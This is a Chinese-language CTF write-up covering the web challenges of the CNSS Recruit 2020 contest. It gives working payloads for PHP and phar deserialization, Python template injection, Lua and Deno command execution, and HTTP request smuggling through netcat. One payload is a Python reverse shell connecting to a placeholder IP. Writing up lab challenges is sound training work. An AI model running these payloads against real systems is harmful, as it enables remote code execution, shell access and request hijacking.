CNSS Recruit 2020 WriteUp
菜鸡又一次来尝试cnss招新赛了…整体感觉还行,最终成绩30000左右,排名不错,比去年好qaq
下面是web分方向的wp。
Web
做题须知
复制flag即可
第一次冒险
打开网页发现需要GET一个answer.直接?answer=yes
即可,随后进入下一关发现需要post一个answer,这里使用FireFox的hackbar或者请求重发即可完成。最后发现flag藏在Cookie里,base64解码即可.
更简单的计算题
打开页面发现需要计算一个数学题,但是提交框被disable,长度被限制为5。F12取消这些限制即可。
卖菜刀
打开页面发现黑色页面下面有个eval($_POST['x5tar'])
,直接蚁剑连接,根目录获取flag。
最有趣的语言
php反序列化,直接按题目逻辑读取flag即可。payload:
1 | ?interesting=O:4:"Flag":4:{s:1:"a";s:1:"1";s:4:"%00*%00b";s:1:"2";s:7:"%00Flag%00c";s:1:"3";} |
你喜欢玩🐍吗
这个题考察python模板注入。
首先测试{{3*3}}
发现返回9,存在模板注入。
随后通过''.__class__.__mro__[1].subclasses__()
来查看可用的类。随后找到第134个<class '_sitebuiltins._Printer'>
,这里面有我们需要的执行命令的函数。查看该类的初始化方法的全局变量:''.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__
,随后发现builtins中有我们需要的exec执行代码的函数。故构造如下payload:
1 | /?name={{%27%27.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__.__builtins__.exec("import%20os;%20os.system(%27ls%27)")}} |
但是发现返回none,故考虑题目无回显,需要反弹shell,这里采用python建立socket连接的方法反弹shell。最终payload:
1 | /?name=%7B%7B''.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__.__builtins__.exec('import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xxx.xxx.xxx.xxx%22,2333));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22bash%22,%22-i%22]);')%7D%7D |
随后即可成功反弹shell,根目录下读取flag即可。
给我康康你的照片
这个题考察phar反序列化。
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。
php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。
phar文件的本质是个压缩文件,文件包含stub, manifest, content, signature四个部分。其中最容易出现漏洞的是manifest部分,因为这部分存放了以序列化的形式存在的用户自定义的meta-data。
本题只需构造一个phar文件随后修改文件格式上传,通过存在phar反序列化漏洞的file_get_contents
函数即可完成反序列化读取flag。
1 |
|
1 | php phar.php |
随后将文件上传,再在s3cr3t.php通过phar://伪协议读取即可。
1 | s3cr3t.php?interesting=phar://upload/d6c4571139668571919d046283106899/1a8add7a66c8201bd172b6a721aa73e0.gif |
你的菜刀钝了
这个题的考察点是通过管道来进行进程间通信。蚁剑连上服务器后,发现根目录下的flag文件收到保护,www-data用户无权限读,只能使用/readflag来完成读取。在蚁剑中打开终端,运行/readflag发现我们还没有输入程序就直接结束了。
我们将/readflag文件下载下来,拖入ida中,F5查看伪代码。随后理清程序逻辑,发现我们需要输入y,然后计算两个简单的数学题,一个是1+1,另一个是随机的两个数相加。但是我们没有办法输入,怎么办呢?
这里会产生三种思路,第一种是借助LD_PRELOAD环境变量劫持函数,使其输出flag,第二种是通过想办法寻找/readflag本身的漏洞(例如栈溢出),改变程序逻辑调用print_flag函数,第三种就是借助管道的方式来完成与程序的交互。
首先第一种,我们检查一下文件的读写属性,发现:
1 | -rwsr-xr-x 1 root root 17248 Oct 25 14:56 readflag |
发现程序有有SUID权限,故它会忽略掉LD_PRELOAD环境变量,这个方法看来不能用了。
尝试第二个方法,发现好像没有明显的可以利用的漏洞,而且web题考栈溢出这种pwn知识点应该也不太对劲….
那么就剩第三个方法了。这里使用perl建立管道进行操作。
1 | use strict; |
easyCalc
这个题考察信息收集能力。(本人没有过多注意OpenResty导致搞了半天最后是试出来的qwq,通过发现[[]]
可以回显正常字符串判断后端是lua)通过OpenResty发现后端是lua,随后谷歌一下就知道了lua的执行命令函数,直接执行即可(注意一下urldecode)
1 | /?calc=io.popen(ngx.unescape_uri([[cat /flag]])):read([[*all]]) |
easyRust
本题依旧考察信息收集能力。(cg的题总是好阴间)点开链接发现提示Math.sin(1)
联想到nodejs,但是发现很多nodejs的全局内置对象什么的都没有,随后题目又给了rust,联想到了一个nodejs作者的新项目Deno(Deno是用rust写的),随后尝试Deno,发现回显正常。
ps.可以通过Object.entries()
方法读取对象的属性,以判断这个对象是否适合用来执行命令or读取文件等。
最终payload:
1 | /calc?q=Deno[String.fromCharCode(114,101,97,100,70,105,108,101,83,121,110,99)](%27/flag%27) |
SmartGling
本题考察http请求走私。注意观察http响应头中的服务器是ATS/7.1.2,谷歌一下,简单信息收集可以发现ATS/7.1.2最主要的漏洞点就是http请求走私。这里主要的走私点是不同的服务器对Content-Length请求头的处理不同导致的。ATS服务器遇到”Content-Length :”(冒号前面有个空格)这样的请求头时,会认为他是一个合法的请求头,而ATS的下游Nginx服务器遇到它时会认为它是一个非法的请求头而忽略它,但是不会回显400,这时如果我们在请求体中写入数据,nginx会将请求体中的数据认定成下一个请求,如果完整则直接处理,不完整则会将数据放入缓冲区中,等待接下来的请求发来,随后与前面缓冲区中的数据进行拼接。
再观察题目发现管理员每10秒访问一次,这里可以形成一个完整的思路链。首先发送一个正常的请求,请求体中走私一个/upgrade
的请求,等管理员访问的时候,管理员发送的请求拼接到我们的/upgrade
请求头中即可完成ROLE的升级。
payload:
1 | printf 'GET / HTTP/1.1\r\nHost: 47.107.115.177:9999\r\nContent-Length : 45\r\n\r\nGET /upgrade_role?role=123456 HTTP/1.1\r\nfoo: ' | nc 47.107.115.177 9999 |
随后发送ROLE: 123456的header去getflag即可。